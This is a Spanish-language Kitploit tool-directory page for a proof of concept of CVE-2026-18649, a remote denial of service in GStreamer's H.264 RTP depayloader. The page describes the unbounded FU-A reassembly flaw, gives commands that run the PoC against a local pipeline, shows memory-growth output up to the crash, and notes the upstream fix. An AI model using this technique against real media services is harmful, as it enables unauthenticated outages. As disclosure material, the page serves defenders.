Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-18649 — Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay). | Kitploit
Herramientas/GitHubGitHub/0xsemizzz/cve-2026-18649
Payload GenerationVulnerability AnalysisExploitationNetwork Security
GitHub0xsemizzz/cve-2026-18649

CVE-2026-18649

Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay).

Ver Repositorio
1hace 14 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-18649 - DoS por crecimiento ilimitado de memoria en GStreamer rtph264depay

Prueba de concepto para una vulnerabilidad de agotamiento de recursos en el depayloader H.264 RTP de GStreamer (rtph264depay). El mismo patrón también afecta a rtph265depay.

Qué es

Durante el reensamblaje de RTP fragmentado H.264 FU-A, cada fragmento entrante se introduce en un búfer interno GstAdapter sin límite de tamaño. El adaptador solo se vacía cuando el bit de fin de fragmento (E) está establecido en la cabecera FU. Un atacante remoto envía un fragmento inicial válido y, a continuación, un flujo interminable de fragmentos de continuación sin establecer nunca el bit E. El búfer sigue creciendo hasta que el proceso agota la memoria y falla.

  • Remoto, sin necesidad de autenticación
  • Utiliza solo paquetes RTP válidos, sin datos malformados
  • Con un solo flujo es suficiente; no se requiere inundación ni múltiples conexiones

Detalles del CVE

  • CVE: CVE-2026-18649 (NVD)
  • CWE: CWE-770 (Asignación sin límites o limitación)
  • CVSS: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
  • Descubierto por: Yehia Ali Mohamed Ezzat (0xsemizzz)

Informe completo: 0xsemizzz.vercel.app/projects/gstreamer-cve

Versiones afectadas

gst-plugins-good anterior a la corrección de upstream. Confirmado en 1.28.2 (Ubuntu 24.04).

Inicio rápido

Inicie un pipeline y luego ejecute el PoC:

root@kitploit:~
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
  caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
  ! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID

Para un fallo rápido, añada un límite de memoria:

root@kitploit:~
ulimit -v 262144   # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
  caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
  ! rtph264depay ! fakesink &
python3 trigger.py 5036 $!

Salida esperada

root@kitploit:~
[*] port=5036  1 fragment every 0.5ms  (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345  baseline VmData=26 MB

      5000 frags  ~     7 MB sent  |  VmData=35MB (+8MB)
     10000 frags  ~    13 MB sent  |  VmData=44MB (+17MB)
     15000 frags  ~    20 MB sent  |  VmData=53MB (+26MB)
     20000 frags  ~    27 MB sent  |  VmData=62MB (+35MB)
     25000 frags  ~    33 MB sent  |  VmData=71MB (+44MB)
     30000 frags  ~    40 MB sent  |  VmData=79MB (+53MB)
     ...
     DEAD

La corrección

Se añadió una propiedad max-reassembly-size a rtph264depay y rtph265depay. Las aplicaciones deberían establecerla en un valor razonable (16 MB es típico para vídeo). El valor predeterminado es 0 (ilimitado) para compatibilidad hacia atrás.

Descargar herramienta